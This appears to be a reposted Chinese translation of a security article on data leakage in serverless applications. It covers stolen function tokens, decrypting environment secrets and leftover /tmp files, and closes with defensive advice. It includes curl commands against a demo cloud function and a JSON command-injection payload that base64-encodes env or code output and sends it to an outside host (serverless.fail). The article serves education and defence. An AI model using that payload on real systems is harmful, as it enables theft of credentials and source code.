内容简介:好消息,前面的文章中,我研究了事件注入和权限绕过攻击。
好消息, The OWASP Serverless Top 10 预览版 已经发布。让我们接着本系列,继续探索Serverless应用领域的安全问题。对于Serverless来说,开发者不能自主部属治安官(安全控制器),攻击者也几乎不知道该如何开展行动。
前面的文章中,我研究了事件注入和权限绕过攻击。 在本系列 的第三篇文章中,我将讨论最令公司们担心的漏洞之一。我们经常能听到重大数据泄露事件,包括最近的 泄露5000万Facebook用户 等。虽然数据泄露一般只是用户的隐私被侵犯,但公司要为此 付出非常高昂的代价 。在一些情况下,甚至能让公司倒闭。一家Saas(软件服务)公司,Code Space就是这么一个例子,黑客入侵了它的Amazon Elastic Compute Cloud控制面板,删除所有的EBS快照和实例,S3 储存桶,AMI(镜像)和一些核心实例,最终完全依赖AWS服务的一家公司就这么倒闭了。
你可能会对自己说“我知道这些,但是,对于Serverless架构有什么不同?”。你是个聪明的家伙。
Code Space公司在2014年被攻击,在那时下 “Serverless” 这个词还未出现。但是,在那时候云服务器和资源(例如S3)可以说是完整的Serverless服务中的一部分了。如果我们在等式中加几个函数(在数学中,这是没有意义的),重新排列字母(比如AMI—>IAM),增加一些缩略词比如EFS,SQS,SES等(都是AWS知名服务),风险同样会成倍增加。如果数据没有得到很好的保护,会面临很大的泄露风险。
现在你可能会说“所以呢?我们有了更多的资源,但是暴露攻击面是相同的”。你说对了一部分(给你两个方向)。现在我们必须从不同角度去审视全局。
第一,处理数据。保护静态和动态的数据。加密你放在的云储存仓库,备份和数据库的数据。云服务提供商通常会给你一些小工具,你能轻松正确地完成。用它们提供的 KMS/Key Vault(密钥管理服务) 安全储存你的数据。同时确保资源配置正确,这样你就可以防止 大规模地数据泄露 ,甚至可以彻底避免泄露。还有,确保你的密钥不会出现在 代码储存库 (例如Github)和其他容易被攻击者找到的地方。
对于动态数据来说,你应该确保给所有传输 使用TLS协议 (传输层安全性协议) 。
第二,有趣的是Serverless环境下的数据。我们的云端服务器(例如:EC2)丢失了/etc/passwd或者/etc/shadow文件,我们也不会很担心。你猜怎么着,这类文件不再敏感了。如果攻击者礼貌地问我,我甚至可以送给他们。
我为什么可以这样做?因为这类文件属于云服务器提供商,我们的应用运行在可随时替换的环境。
问题来了,我们到底要保护什么?答案很简单,但是不同的云服务提供商有不同的情况。
你的机密文件
你可能没有自己的服务器,你的代码储存在云储存库或者代码存储库(你不用担心他们的安全),并且你可以管理运行这个子仓库。这个子仓库的位置由运行环境和服务商来决定。举个例子:
你在AWS云上的/var/task目录中存放了一些NodeJS代码,然后你又在GCP(谷歌云平台)的目录(./)上存放了一堆 Python 代码。现在,你可以自己尝试以下,用下面的curl代码运行cat和ls命令,展示在GCP上任何你感兴趣的文件和目录。
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
你的密钥文件
这里我们以 AWS 为例(不同的服务商有不同的情况),提出两种情况:
第一种情况。你完全忽视安全问题,你的函数,内存配置,日志组名称,版本信息等都都没有做权限控制。最大的问题是,函数的 tokens 也是透明的。
这些token的控制着用户对函数的使用权限。所以,如果这个函数有很高的系统权限,可以遍历数据库或者编辑储存桶,那么,一旦这些tokens落到坏人手中,将导致一场灾难。攻击者甚至不用使用你的函数,只需简单的在自己的电脑 AWS cli 命令行中使用这些token(下图中aws profile stolen_keys包含了了那些偷来的tokens,比如AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN)。
因为这些token的存在,无论你喜欢与否,你都要限制所有函数的权限为能正常运行的最小权限。举个例子,如果某个函数需要读取S3储存桶,你应该确保它只能读取它需要的那一些。
第二种情况。你做足了权限控制,所有函数的使用都需要密钥,并且密钥作为环境变量传递。只有需要使用该函数时(如代码唤醒,系统进程唤醒),密钥才会传递。如果密钥包含了敏感信息,你应该考虑加密(Base64)它们。如果你这样做,系统进程需要解析(见图一env)。但是该函数如果受代码注入影响,那么攻击者可以通过以下命令解码直接读取密钥的真实值。
ENCRYPTED = os.environ['third_party_api_key']
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
你的数据文件
在Serverless环境容器中,除了 /tmp 文件夹,其他的只有只读权限,你可以在那里写入文件。当函数完成运行后的一段时间,Serverless环境和所有文件通常会被系统自动清除。对于AWS来说,当函数运行完成后4分内没有再次唤醒,首先只会删除该函数的环境。但是在这段时间内被再次唤醒,该函数的运行环境还是原先的环境。不能保证一定是这样的,但是可以确定类似的事件一定会在特定时间段内完成。因为考虑到性能的原因,云服务商提供商必须那么做。
如果你的函数存在漏洞并且它所在的环境有敏感文件,那么它们存在被盗或者被毁坏的风险。为了深入理解,你可以用先前的两个curl命令自己操作一下。你可以自己可以写入数据(base64编码)到/tmp/b64文件夹。
当运行”ls”命令时,你可以看到/out/b64文件大小为252字节。然而,当运行完“cat”,再次使用”ls”,你会发现它的大小标为1496字节。这意味着这时”ls”命令显示的是”cat”命令的调用的输出结果。这时你再次运行”ls”,大小又变回252字节。
那么,我们该担心些什么?只要功能函数存在任何代码执行漏洞,或者进程注入漏洞和api滥用(eg.eval),攻击者都可以利用上面的方法泄露或者更改环境中的敏感数据。举个例子,这里存在一个json类型的代码注入漏洞的功能函数,攻击者可以轻松利用:
--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}
$secret可以是“cat main.py”用来获取代码文件,或者是“env”该环境的盗取token和密钥,还可以是“cat /tmp/leftover.file”盗取未受保护的/tmp文件夹中遗留的敏感文件。
有趣的是还可以base64编码然后发送到攻击者自己的服务器中(例子中是serverless.fail)。现在只要解码它,第二天,新闻头条将会出现你的“英雄事迹”。
如何保护
那么我们该如何防止那些发生?我总结了以下几点:
- 尽量压缩存储的数据
- 保护静态,动态的数据。使用云服务商提供的加密管理服务来储存数据,机密文件,环境变量(比如 AWS Environment variable encryption , Handling Azure secrets , Storing secrets in GCP )
- 避免在代码储存库或者其他地方泄露密钥(例如github上)
- 严格限制函数的权限以减少攻击面
- 执行代码审查和静态分析以减少代码存在漏洞
- 监控依赖关系,避免已知的漏洞出现在你的代码中
- 使用完/tmp上的文件后,删除它们
攻击演示视频
如果你想观看演示视频, 这里有
以上所述就是小编给大家介绍的《深入研究攻击Serverless环境下的应用 SLS-3: 数据泄露》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 深入考察无服务器架构的安全威胁,SLS-3:敏感数据泄露
- 震惊,阿里P8都在用的深入浅出kubernetes(K8S)指南,竟然泄露了?
- 信息泄露 :不仅仅是数据,物理上的信息泄露也很重要
- Android内存泄露小结
- 如何查找内存泄露
- 实战Go内存泄露
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python核心编程(第3版)
[美] Wesley Chun / 孙波翔、李斌、李晗 / 人民邮电出版社 / 2016-5 / CNY 99.00
《Python核心编程(第3版)》是经典畅销图书《Python核心编程(第二版)》的全新升级版本,总共分为3部分。第1部分为讲解了Python的一些通用应用,包括正则表达式、网络编程、Internet客户端编程、多线程编程、GUI编程、数据库编程、Microsoft Office编程、扩展Python等内容。第2部分讲解了与Web开发相关的主题,包括Web客户端和服务器、CGI和WSGI相关的We......一起来看看 《Python核心编程(第3版)》 这本书的介绍吧!
HTML 压缩/解压工具
在线压缩/解压 HTML 代码
UNIX 时间戳转换
UNIX 时间戳转换